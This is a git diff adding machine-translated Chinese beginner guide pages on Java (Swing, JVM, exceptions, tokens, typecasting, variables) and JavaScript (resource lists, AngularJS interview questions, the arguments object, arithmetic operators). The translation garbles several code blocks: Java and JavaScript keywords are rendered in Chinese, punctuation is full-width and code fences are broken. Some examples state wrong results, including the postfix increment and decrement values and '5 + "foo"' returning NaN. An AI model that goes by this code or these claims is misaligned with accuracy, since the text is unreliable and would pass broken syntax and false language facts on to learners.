+### 极具特色的功能
+
+1.  轻量级组件 - 由于Swing组件完全用JAVA编写，因此它们不像AWT组件那样使用特定于平台的资源。
+    
+2.  可插拔外观（PLAF） - 组件的外观完全由Swing本身决定。这使得更容易区分外观和组件的逻辑。
+    
+
+Swing GUI由两个主要支柱组成： - 组件和容器。以下部分详细讨论了它们。
+
+### 组件
+
+Component只是一个独立的可视化控件.Swing组件派生自JComponent类。进一步的JComponent继承了AWT容器和组件的所有特性。有关更多信息，请查看[JComponent](https://docs.oracle.com/javase/tutorial/uiswing/components/jcomponent.html)类的层次结构。
+
+### 集装箱
+
+所有容器也是组件。容器可包括一个或多个部件。 Swing定义了两种类型的容器
+
+*   继承自JComponent-例如JFrame，JWindow，JApplet，JDialog
+*   不继承自JComponent-例如JPanel
+
+### 包
+
+Swing包含大量软件包。请查看[官方文档](https://docs.oracle.com/javase/7/docs/api/javax/swing/package-use.html)以获取更多信息。
+
+#### 更多信息：
+
+*   [Oracle文档](https://docs.oracle.com/javase/7/docs/api/javax/swing/package-use.html)
+*   [维基百科](https://en.wikipedia.org/wiki/Swing_(Java)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/the-java-virtual-machine-jvm/index.md b/client/src/guide/chinese/java/the-java-virtual-machine-jvm/index.md
new file mode 100644
index 0000000000..c9e1a177f2
--- /dev/null
+++ b/client/src/guide/chinese/java/the-java-virtual-machine-jvm/index.md
@@ -0,0 +1,13 @@
+---
+title: Java Virtual Machine
+localeTitle: Java虚拟机
+---
+# Java虚拟机（JVM）
+
+Java属于称为[**Compiled Languages的**](https://en.wikipedia.org/wiki/Compiled_language)一系列[**语言**](https://en.wikipedia.org/wiki/Compiled_language) 。用这种语言编写的任何代码都需要转换（编译）为中间形式，然后主机平台（运行代码的OS /平台）可以理解这种形式。
+
+对于Java，此中间形式称为**字节码** ，然后由称为Java虚拟机（JVM）的运行时解释。将[**JVM**](https://docs.oracle.com/javase/specs/jvms/se7/html/)视为一个能够完成运行Java代码的艰苦工作的软件。它负责内存分配，线程管理，垃圾收集等等。除了Java之外，它还支持（读取：能够运行）用Groovy，Scala等语言编写的代码。
+
+在Java中，代码被编写并保存为`.java`文件。编译器（javac）对java文件进行操作，并生成等效的字节码（ `.class` ）文件。 `java`命令现在可以执行存储在`.class`文件中的字节码。稍后会详细介绍。
+
+以下部分描述了Java中编码的一些基本构建块。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/throw-keyword/index.md b/client/src/guide/chinese/java/throw-keyword/index.md
new file mode 100644
index 0000000000..7799658bb0
--- /dev/null
+++ b/client/src/guide/chinese/java/throw-keyword/index.md
@@ -0,0 +1,17 @@
+---
+title: Throw
+localeTitle: 扔
+---
+## 扔
+
+Java throw关键字用于显式抛出异常。您可以通过throw关键字在java中抛出checked或uncheked异常。 throw关键字主要用于抛出自定义异常。
+
+**_例：_**
+
+```java
+throw new ArithmeticException("/ by zero not permitted"); 
+```
+
+##### 更多资源
+
+[极客的极客](https://www.geeksforgeeks.org/throw-throws-java/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/throws-keyword/index.md b/client/src/guide/chinese/java/throws-keyword/index.md
new file mode 100644
index 0000000000..4e40649c17
--- /dev/null
+++ b/client/src/guide/chinese/java/throws-keyword/index.md
@@ -0,0 +1,32 @@
+---
+title: Throws
+localeTitle: 抛出
+---
+## 投
+
+Java throws关键字用于声明异常。它向程序员提供了一个信息，即可能会出现异常，因此程序员最好提供异常处理代码，以便保持正常的流程。
+
+**_例：_**
+
+```java
+import java.io.IOException; 
+ class Testthrows1{ 
+  void m()throws IOException{ 
+    throw new IOException("device error");//checked exception 
+  } 
+  void n()throws IOException{ 
+    m(); 
+  } 
+  void p(){ 
+   try{ 
+    n(); 
+   }catch(Exception e){System.out.println("exception handled");} 
+  } 
+  public static void main(String args[]){ 
+   Testthrows1 obj=new Testthrows1(); 
+   obj.p(); 
+   System.out.println("normal flow..."); 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/tokens/index.md b/client/src/guide/chinese/java/tokens/index.md
new file mode 100644
index 0000000000..2aff790344
--- /dev/null
+++ b/client/src/guide/chinese/java/tokens/index.md
@@ -0,0 +1,66 @@
+---
+title: tokens
+localeTitle: 令牌
+---
+# Java中的标记
+
+这些是程序的基本构建块或程序的最小单元。 Java支持五种类型的令牌：
+
+## 1.关键词
+
+这些是在编译器中具有预定义定义的单词，不能用作标识符的名称。在Java中有51个关键字和2个保留字。
+
+## 2.标识符
+
+这些是给予程序的不同组件的各种名称。这些包括变量，方法，类等的名称。它们不能以数字开头，但可以包含数字，字母，下划线，货币符号。
+
+## 3.文学
+
+这些提供了一种在程序中表达特定值的方法。这些是以下类型：
+
+### 数字文字
+
+这些在Java中有三种类型。
+
+*   ####整数文字
+*   ####浮点文字
+*   ####字符文字
+
+### 布尔文字
+
+这些有两种类型
+
+*   \#### true
+*   \#### false
+
+### 字符串文字
+
+## 4.运营商
+
+这些是用于执行某些操作的特殊符号类型。例如+， - ，\*，/，％
+
+## 5.分离器
+
+这些包括选项卡，输入，空格键。
+
+##### 现在让我们考虑一个程序
+
+```java
+       //Printing Hello World 
+ 
+ public class Hello 
+ 
+ { 
+ 
+ public static void main(String args[]) 
+ 
+ { 
+ 
+ System.out.println(“Hello World”); 
+ 
+ } 
+ 
+ } 
+```
+
+源代码包含标记，例如_public_ ， _class_ ， _Hello_ ，{， _public_ ， _static_ ， _void_ ， _main_ ，（， _String_ ，\[\]， _args_ ，{， _System_ ， _out_ ， _println_ ，（， _“Hello World”_ ，}，}生成的标记·编译成Java字节码，能够在解释的java环境中运行。令牌对于编译器检测错误很有用。当令牌没有按特定顺序排列时，编译器会生成错误消息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/typecasting/index.md b/client/src/guide/chinese/java/typecasting/index.md
new file mode 100644
index 0000000000..89e29d7bd9
--- /dev/null
+++ b/client/src/guide/chinese/java/typecasting/index.md
@@ -0,0 +1,25 @@
+---
+title: Typecasting
+localeTitle: 铸字
+---
## 铸字
+
+将一种数据类型转换为另一种数据类型称为类型转换。以来 Java是一种面向对象的编程语言，支持**继承**和**多态** ，超类引用变量很容易指向subClass对象。
+
+当我们将一种数据类型的值分配给另一种数据类型时，这两种类型可能彼此不兼容。如果数据类型兼容，那么JVM将自动执行称为自动类型转换的转换，如果不兼容，则需要显式转换或转换它们。
+
+### 类型转换
+
+Java，类型转换分为两种类型。
+
+**_1.隐式类型转换_** 这里，当两种类型兼容时，会发生自动类型转换 目标类型大于源类型。 例如。 \`\`\`java int i = 100; 长l = i; //不需要显式类型转换 float f = l; //不需要显式类型转换
+```
+***2.  Explicit Typecasting*** 
+ When we assign a larger type value to a variable of smaller type, then we need to perform explicit type casting. 
+ eg. 
+```
+
+java的 双d = 100.04; long l =（long）d; //需要显式类型转换 int i =（int）l; //需要显式类型转换 \`\`\`
+
+#### 更多信息：
+
+*   [Oracle Java Docs：Typecasting](https://docs.oracle.com/javase/specs/jls/se7/html/jls-5.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/variables/index.md b/client/src/guide/chinese/java/variables/index.md
new file mode 100644
index 0000000000..ac8c24ca83
--- /dev/null
+++ b/client/src/guide/chinese/java/variables/index.md
@@ -0,0 +1,55 @@
+---
+title: Variables
+localeTitle: 变量
+---
+# 变量
+
+变量存储值。它们是用于在程序中存储文本，数字等数据的最基本实体。
+
+在[Java中](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Java) ，变量是[_强类型的_](https://en.wikipedia.org/wiki/Strong_and_weak_typing#Definitions_of_.22strong.22_or_.22weak.22) ，这意味着每当声明变量时都必须为每个变量定义类型。否则，编译器将在[编译时](https://en.wikipedia.org/wiki/Compile_time)抛出错误。因此，每个变量都具有以下之一的关联“ [数据类型](https://guide.freecodecamp.org/java/data-types) ”：
+
+*   基元类型： `int` ， `short` ， `char` ， `long` ， `boolean` ， `byte` ， `float` ， `double`
+*   包装类型： `Integer` ， `Short` ， `Char` ， `Long` ， `Boolean` ， `Byte` ， `Float` ， `Double`
+*   参考类型： `String` ， `StringBuilder` ， `Calendar` ， `ArrayList`等。
+
+您可能已经注意到， **包装类型**的拼写类型与**原始类型**完全相同，但开头的大写字母除外（如**参考类型** ）。这是因为包装类型实际上是更一般的参考类型的一部分，但通过[自动装箱和拆箱](https://docs.oracle.com/javase/tutorial/java/data/autoboxing.html)与它们的原始对应物_紧密相关_ 。现在，您只需要知道存在这样的“包装类型”。
+
+通常，您可以按照以下语法_声明_ （即创建）变量：< _data-type_ > < _variableName_ >;
+
+```java
+// Primitive Data Type 
+ int i; 
+ 
+ // Reference Data Type 
+ Float myFloat; 
+```
+
+您可以将已声明之后或同时，当你宣布它（被称为_初始化_ ）代码_赋值_给变量，或任何地方。 symbol **\=**用于相同的。
+
+```java
+// Initialise the variable of Primitive Data Type 'int' to store the value 10 
+ int i = 10; 
+ double amount = 10.0; 
+ boolean isOpen = false; 
+ char c = 'a'; // Note the single quotes 
+ 
+ //Variables can also be declared in one statement, and assigned values later. 
+ int j; 
+ j = 10; 
+ 
+ // initiates an Float object with value 1.0 
+ // variable myFloat now points to the object 
+ Float myFloat = new Float(1.0); 
+ 
+ //Bytes are one of types in Java and can be 
+ //represented with this code 
+ int byteValue = 0B101; 
+ byte anotherByte = (byte)0b00100001; 
+```
+
+从上面的例子可以看出，Primitive类型的变量与Reference（＆Wrapper）类型的变量的行为略有不同 - 而Primitive变量_存储_实际值，Reference变量_指的_是包含实际值的'object'。 您可以在下面链接的部分中找到更多信息。
+
+# 其他资源
+
+*   [数据类型](https://guide.freecodecamp.org/java/data-types)
+*   [类和对象](https://guide.freecodecamp.org/java/classes-and-objects)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/additional-javascript-resources/index.md b/client/src/guide/chinese/javascript/additional-javascript-resources/index.md
new file mode 100644
index 0000000000..b0cb0376f2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/additional-javascript-resources/index.md
@@ -0,0 +1,129 @@
+---
+title: JavaScript Tutorials and Other Resources
+localeTitle: JavaScript教程和其他资源
+---
+*   [适用于猫的JavaScript](http://jsforcats.com/)
+*   [现代JavaScript教程](https://javascript.info/)
+*   [弗里斯比教授的功能编程指南](https://github.com/DrBoolean/mostly-adequate-guide)
+*   [雄辩的Javascript](http://www.eloquentjavascript.net) （ [_注释_](https://watchandcode.com/courses/eloquent-javascript-the-annotated-version) ）
+*   [说到Javascript](http://speakingjs.com/es5/)
+*   [探索ES6](http://exploringjs.com/es6/)
+*   [Udemy - Javascript了解奇怪的部分（ _前3.5小时_ ）](https://www.youtube.com/watch?v=Bv_5Zv5c-Ts)
+*   [JavaScript中的函数编程](https://www.youtube.com/playlist?list=PL0zVEGEvSaeEd9hlmCXrk5yUyqUag-n84)
+*   [JavaScript简介：第一步](https://www.educative.io/collection/5679346740101120/5720605454237696?authorName=Arnav%20Aggarwal)
+*   [Douglas Crockford的视频](https://www.youtube.com/watch?v=v2ifWcnQs6M&index=1&list=PL62E185BB8577B63D)
+*   [现代JS Cheatsheet](https://mbeaudru.github.io/modern-js-cheatsheet/)
+*   [学习JavaScript的50个最佳网站](http://www.codeconquest.com/blog/top-50-websites-to-learn-javascript/)
+*   [Codementor JavaScript教程](https://www.codementor.io/community/topic/javascript)
+*   [你可能不需要jQuery](http://youmightnotneedjquery.com/)
+
+## 参考
+
+*   [DevDocs](http://devdocs.io)
+*   [OverAPI JavaScript备忘单](http://overapi.com/javascript)
+*   [ECMA-262](http://www.ecma-international.org/publications/standards/Ecma-262.htm)
+*   [Mozilla开发者网络（MDN）](https://developer.mozilla.org/en-US/docs/Web/JavaScript)
+
+在[http://jster.net上](http://jster.net)找到javascript库
+
+## 快速JavaScript
+
+*   [REPL](https://repl.it/languages/Javascript) （ [_节点_](https://repl.it/languages/iojs/) ）
+*   [JSBin](http://jsbin.com)
+*   [的jsfiddle](https://jsfiddle.net)
+*   [CodePen](http://codepen.io)
+*   [CoderPad（结_对编程_ ）](http://coderpad.io)
+*   [C9（ _IDE_ ，结_对编程_ ）](http://c9.io)
+*   [对象游乐场（ _可视化对象_ ）](http://www.objectplayground.com/)
+*   [Plunker](http://plnkr.co)
+
+## 挑战
+
+*   [代码大战](http://codewars.com)
+*   [黑客等级](https://hackerrank.com)
+*   [编码游戏](http://codingame.com)
+*   [CodeFights](https://codefights.com/home)
+*   [ES6 Katas](http://es6katas.org)
+
+## 教程
+
+*   [Codecademy网站](https://www.codecademy.com)
+*   [RithmSchool](https://www.rithmschool.com)
+
+## 演习
+
+*   [Codility](https://codility.com/programmers/lessons/)
+*   [Coderbyte](http://coderbyte.com)
+*   [Exercism](http://exercism.io)
+*   [JavaScript30](https://javascript30.com/)
+*   [Javascript.com（Pluralsight）](https://www.javascript.com/)
+
+## 编者
+
+*   [Visual Studio代码](https://code.visualstudio.com/)
+    
+    Visual Studio Code包含对IntelliSense代码完成的内置支持，丰富的语义代码理解和导航以及代码重构。它带有内置的调试器和git支持，并具有大量扩展。
+    
+*   [Webstorm](https://www.jetbrains.com/webstorm/)
+    
+    适用于Javascript的全功能IDE，包括代码完成以及对实时linting，版本控制和测试的支持。由Jet Brains制作并以IntelliJ Java IDE为模型。
+    
+*   [括号](http://brackets.io)
+    
+*   [原子](http://atom.io)
+    
+    由GitHub制作的开源文本编辑器。
+    
+*   [崇高文本](https://www.sublimetext.com/)
+    
+
+## 博客
+
+*   [完美杀戮](http://perfectionkills.com)
+*   [2ality](http://www.2ality.com/)
+*   [媒体上的JS集合](https://medium.com/the-javascript-collection)
+*   [大卫沃尔什](https://davidwalsh.name/)
+*   [superheroJS](http://superherojs.com/)
+
+## 播客
+
+*   [JS Jabber](https://devchat.tv/js-jabber)
+
+## 视频教程
+
+*   [Derek Banas在一个视频中学习JS](https://www.youtube.com/watch?v=fju9ii8YsGs)
+*   [Derek Banas的面向对象的JavaScript](https://www.youtube.com/watch?v=O8wwnhdkPE4)
+
+## 图书
+
+*   [JavaScript忍者的秘密](https://www.manning.com/books/secrets-of-the-javascript-ninja)
+    
+*   [JavaScript应用程序编程](http://pjabook.com/)
+    
+*   [可维护的JavaScript](http://shop.oreilly.com/product/0636920025245.do)
+    
+*   [学习JavaScript设计模式](http://addyosmani.com/resources/essentialjsdesignpatterns/book/)
+    
+*   [Airbnb JavaScript风格指南](https://github.com/airbnb/javascript)
+    
+*   [JSDoc](http://usejsdoc.org/)
+    
+*   [Javascript Allonge Six](https://leanpub.com/javascriptallongesix/read)
+    
+*   [你不懂JS](https://github.com/getify/You-Dont-Know-JS)
+    
+    由Kyle Simpson撰写的6本关于JavaScript的书籍。从初学者到高级。
+    
+*   [雄辩的Javascript](http://www.eloquentjavascript.net)
+    
+    精彩，全面地介绍Javascript的基础知识和功能，并配有浏览器内交互式代码
+    
+*   [弗里斯比教授的功能编程指南](https://github.com/DrBoolean/mostly-adequate-guide)
+    
+    在Javascript中进行功能编程的相当深入的指南
+    
+*   [JavaScript方式](https://github.com/bpesquet/thejsway)
+    
+*   [功能性灯JS](https://github.com/getify/Functional-Light-JS)
+    
+    本书旨在成为任何希望（重新）发现JavaScript的许多方面的人的有用伴侣。从编程的基础知识到前端和后端Web开发，许多主题都以简单易懂的方式介绍。无需先验知识！
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/advantages-and-disadvantages-of-javascript/index.md b/client/src/guide/chinese/javascript/advantages-and-disadvantages-of-javascript/index.md
new file mode 100644
index 0000000000..c97baeb933
--- /dev/null
+++ b/client/src/guide/chinese/javascript/advantages-and-disadvantages-of-javascript/index.md
@@ -0,0 +1,24 @@
+---
+title: Advantages and Disadvantages of JavaScript
+localeTitle: JavaScript的优点和缺点
+---
+# JavaScript的优点和缺点
+
+与所有计算机语言一样，JavaScript具有某些优点和缺点。许多优点和缺点都与JavaScript经常在客户端浏览器中执行有关，但现在还有其他方法可以使用JavaScript，使其具有与服务器端语言相同的优点。
+
+## JavaScript的优点
+
+*   **速度** 。客户端JavaScript非常快，因为它可以在客户端浏览器中立即运行。除非需要外部资源，否则JavaScript不会受到后端服务器的网络调用的阻碍。它也没有必要在客户端编译，这给了它一定的速度优势（授予，增加一些风险取决于所开发代码的质量）。
+*   **简单** 。 JavaScript的学习和实现相对简单。
+*   **人气** 。 JavaScript在Web中随处可用。学习JavaScript的资源很多。 StackOverflow和GitHub有许多使用Javascript的项目，并且语言作为一个整体近年来在业界获得了很大的关注，尤其是。
+*   **互操作性** 。 JavaScript可以很好地与其他语言一起使用，并且可以在各种各样的应用程序中使用。与PHP或[SSI](https://en.wikipedia.org/wiki/Server_Side_Includes)脚本不同，JavaScript可以插入任何网页，无论文件扩展名如何。 JavaScript也可以在用其他语言编写的脚本中使用，例如Perl和PHP。
+*   **服务器负载** 。客户端减少了对网站服务器的需求。
+*   **丰富的接口** 。拖放组件或滑块可以为您的网站提供丰富的界面。
+*   **扩展功能** 。像Greasemonkey这样的第三方附加组件使JavaScript开发人员能够编写可以在所需网页上执行以扩展其功能的JavaScript代码片段。
+*   **多功能性** 。如今，有许多方法可以通过Node.js服务器使用JavaScript。如果您使用Express引导node.js，使用像mongodb这样的文档数据库，并在前端为客户端使用JavaScript，则可以仅使用JavaScript从前到后开发整个JavaScript应用程序。
+*   **更新** 。自从EcmaScript 5（Javascript依赖的脚本规范）出现以来，Ecma International一直致力于每年更新JavaScript。到目前为止，我们已经在2017年获得了ES6的浏览器支持，并期待在未来几个月内支持ES7。
+
+## JavaScript的缺点
+
+*   **客户端安全性** 。因为代码在用户的计算机上执行，所以在某些情况下，它可能被用于恶意目的。这是一些人选择禁用Javascript的原因之一。
+*   **浏览器支持** 。 JavaScript有时会被不同的浏览器区别对待。虽然服务器端脚本总是会产生相同的输出，但客户端脚本可能有点不可预测。不要过分关注这一点 - 只要你在所有主流浏览器中测试你的脚本就应该是安全的。此外，还有一些服务允许您在检查更新时自动测试代码，以确保所有浏览器都支持您的代码。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/angularjs-interview-questions/index.md b/client/src/guide/chinese/javascript/angularjs-interview-questions/index.md
new file mode 100644
index 0000000000..b5cf7df09c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/angularjs-interview-questions/index.md
@@ -0,0 +1,65 @@
+---
+title: Angularjs Interview Questions
+localeTitle: Angularjs访谈问题
+---
+# Angularjs访谈问题
+
+以下是Angularjs访谈中经常被问到的概念列表。
+
+*   什么是AngularJS？
+*   什么是模型视图控制器（MVC）？
+*   双向数据绑定
+*   什么是依赖注入？它是如何工作的？
+*   AngularJS中的$ scope是什么？
+*   什么是AngularJS中的$ rootScope？
+*   如何在Angular中实现路由？
+*   解释指令
+*   我们如何在Angular中创建自定义指令？
+*   解释服务和工厂之间的差异
+*   解释$ q服务，延期和承诺
+
+# 示例问题和解答
+
+问题：列出AngularJS中的指令？ 答案：ngBind，ngModel，ngClass，ngApp，ngInit，ngRepeat
+
+问题：AngularJS中的$ scope是什么？ 答案：AngularJS中的$ scope是一个引用应用程序模型的对象。它是一个将视图（DOM元素）与控制器绑定的对象。在控制器中，模型数据通过$ scope对象访问。众所周知，AngularJS支持MV \*模式，$ scope对象成为MV \*的模型。
+
+问题：AngularJS中的SPA（单页面应用程序）是什么？ 答案：单页面应用程序（SPA）是一种Web应用程序，它可以加载单个HTML页面，并在用户与应用程序交互时动态更新该页面。 SPA使用AJAX和HTML来创建流畅且响应迅速的Web应用程序，而无需不断的页面重新加载。但是，这意味着大部分工作都发生在客户端，在JavaScript中。 这里的单个HTML页面表示来自服务器的UI响应页面。源可以是ASP，ASP.NET，ASP.NET MVC，JSP等。 但是，单页Web应用程序作为一个页面提供给浏览器，并且通常不需要在用户导航到应用程序的各个部分时重新加载页面。这样可以为最终用户提供更快的导航，更高效的网络传输和更好的整体性能。
+
+问题：AngularJS中的路由是什么？ 答：路由是AngularJS的核心功能。此功能在构建具有多个视图的SPA（单页应用程序）时非常有用。在SPA应用程序中，所有视图都是不同的Html文件，我们使用Routing来加载应用程序的不同部分，这有助于逻辑划分应用程序并使其可管理。换句话说，Routing帮助我们在逻辑视图中划分应用程序并将它们与不同的控制器绑定。
+
+问题：解释重复指令。 答案：ng-repeat指令是最常用且非常有用的AngularJS指令功能。它迭代一组项目并创建DOM元素。它会不断监视数据源，以便根据更改重新呈现模板。
+
+问题：ng-If和ng-show / ng-hide有什么区别。 答案：如果condition为true，则ng-If指令仅呈现DOM元素。其中ng-show / ng-hide指令呈现DOM元素，但它更改了ng-hide / ng-show的类，以保持页面上元素的可见性。
+
+问题：如何使用AngularJs取消超时？ 答案：$ timeout是AngularJs的window.setTimeout包装器，你取消应用该函数的超时：
+```
+$timeout.cancel(function (){ 
+  // write your code. 
+ }); 
+```
+
+问题：什么是依赖注入？ 答案：依赖注入（DI）是一种软件设计模式，用于处理组件如何获取其依赖关系。 AngularJS注入器子系统负责创建组件，解析它们的依赖关系，并根据请求将它们提供给其他组件。
+
+问题：解释-App指令。 答案：ng-app指令启动AngularJS应用程序。它定义了根元素。当加载包含AngularJS Application的网页时，它会自动初始化或引导应用程序。它还用于在AngularJS Application中加载各种AngularJS模块。
+
+问题：解释-init指令 答案：ng-init指令初始化AngularJS应用程序数据。它用于将值放入要在应用程序中使用的变量。例如：在下面的示例中，我们使用JSON语法初始化了一组国家/地区，以定义国家/地区数组。
+
+```html
+
+<div ng-app = "" ng-init = "countries = [{locale:'en-US',name:'United States'}, {locale:'en-GB',name:'United Kingdom'}, {locale:'en-FR',name:'France'}]"> 
+   ... 
+ </div> 
+```
+
+问题：如何在控制器之间共享数据？ 答案：创建一个AngularJS服务，该服务将保存数据并将其注入控制器内部。 使用服务是最干净，最快速和最简单的测试方式。但是，有几种其他方法可以在控制器之间实现数据共享，例如： - 使用事件 - 使用$ parent，nextSibling，controllerAs等直接访问控制器 - 使用$ rootScope添加数据（不是一个好习惯）
+
+问题：ng-if和ng-show / hide指令有什么区别？ 答案：ng-if仅在条件为真时创建并显示DOM元素，如果条件为false或更改为false，则不会创建或销毁创建的元素。 ng-show / hide将始终生成DOM元素，但它将根据条件的评估应用css display属性。
+
+#### 更多信息：
+
+在这里您可以找到其他问题和答案：
+
+*   [AngularJS面试问题](https://www.tutorialspoint.com/angularjs/angularjs_interview_questions.htm)
+*   [10 AngularJS面试问答](https://www.upwork.com/i/interview-questions/angularjs/)
+*   [50个最重要的AngularJS面试问题取得100％的成功](http://www.techbeamers.com/latest-angularjs-interview-questions-answers/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/arguments/index.md b/client/src/guide/chinese/javascript/arguments/index.md
new file mode 100644
index 0000000000..f2c60c6977
--- /dev/null
+++ b/client/src/guide/chinese/javascript/arguments/index.md
@@ -0,0 +1,79 @@
+---
+title: Arguments
+localeTitle: 参数
+---
+arguments对象是一个**类似于数组的对象** _（因为_ **对象** _的结构类似于数组的结构，但它不应该被认为是一个数组，因为它具有对象的所有功能）_ ，它存储了你的所有参数传递给函数，特别是该函数专有。如果要将3个参数传递给函数，比如`storeNames()` ，那么这三个参数将存储在一个名为**arguments**的对象中，当我们传递参数`storeNames("Mulder", "Scully", "Alex Krycek")`它将看起来像这样`storeNames("Mulder", "Scully", "Alex Krycek")`我们的功能：
+
+*   首先，我们声明一个函数并使其返回arguments对象。
+
+\`\`\`的JavaScript  
+function storeNames（）{return arguments; }
+```
+*   Then, when we execute that function with **n arguments**, 3 in this case, it will return the object to us and it will **look like** an array. We can convert it to an array, but more on that later... 
+```
+
+JavaScript的 //如果我们在控制台中执行以下行： storeNames（“Mulder”，“Scully”，“Alex Kryceck”）; //输出为{'0'：'Mulder'，'1'：'Scully'，'2'：'Alex Kryceck'}
+```
+If you want to know more about this, such as converting it to an array or the optimization problem that comes with using the _slice(_) method and how to solve it, click on **read more** (Gitter Chat Only). 
+ 
+ ## Treat it as an array 
+ 
+ You can invoke arguments by using `arguments[n]` (where _n_ is the index of the argument in the array-like object) but if you want to use it as an array for iteration purposes or applying array methods to it, you need to _convert it to an array_ by declaring a variable and using the Array.prototype.slice.call method (because _arguments_ is not an array): 
+```
+
+JavaScript的 var args = Array.prototype.slice.call（arguments）;
+
+//或es6方式： var args = Array.from（arguments）
+```
+Since **slice()** has two (the parameter **end** is optional) parameters, you can grab a certain portion of the arguments by specifying (using the _slice.call()_ method renders these two parameters optional, not just _end_) the beginning and the ending of your portion; check out the following code: 
+```
+
+JavaScript的 function getGrades（）{ var args = Array.prototype.slice.call（arguments，1,3）; 回归 }
+
+//让我们输出这个！ console.log（getGrades（90,100,75,40,89,95））;
+
+//输出应该是：// // \[100,75\] < - 为什么？因为它从索引1开始并在索引3处停止 //所以，没有考虑索引3（40）。 // //如果我们删除'3'参数，只留下（参数，1）我们得到 //来自索引1的每个参数：\[100,75,40,89,95\]。
+```
+### Optimization issues with Array.slice() 
+ 
+ There is a little problem, it's not recommended to use slice in the arguments object (optimization reasons)... 
+ 
+ > **Important**: You should not slice on arguments because it prevents optimizations in JavaScript engines (V8 for example). Instead, try constructing a new array by iterating through the arguments object. 
+ > 
+ > _by_ **_Mozilla Developer Network_** <a href='https://developer.mozilla.org/ca/docs/Web/JavaScript/Reference/Functions/arguments' target='_blank' rel='nofollow'>(reference)<a> 
+ 
+ 
+ 
+ So, what other method is available to convert _arguments_ to an array? I recommend the for-loop (not the for-in loop), you can do it like this: 
+```
+
+JavaScript的 var args = \[\]; //首先是空数组。 for（var i = 0; i <arguments.length; i ++）{ args.push（参数\[I\]） } //现在'args'是一个包含你的参数的数组。 \`\`\`
+
+有关优化问题的更多信息：  
+优化杀手： [管理参数](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers#3-managing-arguments)
+
+### ES6 rest参数作为绕过arguments对象的一种方式
+
+在ES2015 / ES6中，可以在大多数地方使用rest参数（ `...` ）而不是arguments对象。假设我们有以下功能（非ES6）：
+```
+function getIntoAnArgument() { 
+    var args = arguments.slice(); 
+    args.forEach(function(arg) { 
+        console.log(arg); 
+    }); 
+ } 
+```
+
+该功能可以在ES6中替换为：
+```
+function getIntoAnArgument(...args) { 
+    args.forEach(arg => console.log(arg)); 
+ } 
+```
+
+请注意，我们还使用了箭头函数来缩短forEach回调！
+
+参数对象在箭头函数的主体内不可用。
+
+rest参数必须始终作为函数定义中的最后一个参数。  
+`function getIntoAnArgument(arg1, arg2, arg3, ...restOfArgs /*no more arguments allowed here*/) { //function body }`
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/arithmetic-operation/index.md b/client/src/guide/chinese/javascript/arithmetic-operation/index.md
new file mode 100644
index 0000000000..3d1b4df014
--- /dev/null
+++ b/client/src/guide/chinese/javascript/arithmetic-operation/index.md
@@ -0,0 +1,128 @@
+---
+title: Arithmetic Operation
+localeTitle: 算术运算
+---
+JavaScript为用户提供了五个算术运算符： `+` ， `-` ， `*` ， `/`和`%` 。运算符分别用于加法，减法，乘法，除法和余数。
+
+## 加成
+
+**句法**
+
+`a + b`
+
+**用法**
+```
+2 + 3          // returns 5 
+ true + 2       // interprets true as 1 and returns 3 
+ false + 5      // interprets false as 0 and returns 5 
+ true + "bar"   // concatenates the boolean value and returns "truebar" 
+ 5 + "foo"      // concatenates the string and the number and returns "5foo" 
+ "foo" + "bar"  // concatenates the strings and returns "foobar" 
+```
+
+_提示：_有一个方便的[增量](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment_()运算符，当你将数字加1时，这是一个很好的快捷方式。
+
+## 减法
+
+**句法**
+
+`a - b`
+
+**用法**
+```
+2 - 3      // returns -1 
+ 3 - 2      // returns 1 
+ false - 5  // interprets false as 0 and returns -5 
+ true + 3   // interprets true as 1 and returns 4 
+ 5 + "foo"  // returns NaN (Not a Number) 
+```
+
+_提示：_有一个方便的[减量](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement_(--)运算符，当你用1减去数字时，这是一个很好的捷径。
+
+## 乘法
+
+**句法**
+
+`a * b`
+
+**用法**
+```
+2 * 3                // returns 6 
+ 3 * -2               // returns -6 
+ false * 5            // interprets false as 0 and returns 0 
+ true * 3             // interprets true as 1 and returns 3 
+ 5 * "foo"            // returns NaN (Not a Number) 
+ Infinity * 0         // returns NaN 
+ Infinity * Infinity  // returns Infinity 
+```
+
+## 师
+
+**句法**
+
+`a / b`
+
+**用法**
+```
+3 / 2                // returns 1.5 
+ 3.0 / 2/0            // returns 1.5 
+ 3 / 0                // returns Infinity 
+ 3.0 / 0.0            // returns Infinity 
+ -3 / 0               // returns -Infinity 
+ false / 5            // interprets false as 0 and returns 0 
+ true / 2             // interprets true a 1 and returns 0.5 
+ 5 + "foo"            // returns NaN (Not a Number) 
+ Infinity / Infinity  // returns NaN 
+```
+
+## 剩余
+
+**句法**
+
+`a % b`
+
+**用法**
+```
+3 % 2          // returns 1 
+ true % 5       // interprets true as 1 and returns 1 
+ false % 4      // interprets false as 0 and returns 0 
+ 3 % "bar"      // returns NaN 
+```
+
+## 增量
+
+**句法**
+
+`a++ or ++a`
+
+**用法**
+```
+// Postfix 
+ x = 3;  // declare a variable 
+ y = x++;        // y = 4, x = 3 
+ 
+ // Prefix 
+ var a = 2; 
+ b = ++a; // a = 3, b = 3 
+```
+
+## 递减
+
+**句法**
+
+`a-- or --a`
+
+**用法**
+```
+// Postfix 
+ x = 3;  // declare a variable 
+ y = x--;        // y = 3, x = 3 
+ 
+ // Prefix 
+ var a = 2; 
+ b = --a; // a = 1, b = 1 
+```
+
+_！重要！_如您所见，您**无法**对`Infinity`执行任何操作。
+
+资料来源：令人惊叹的[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators) 。
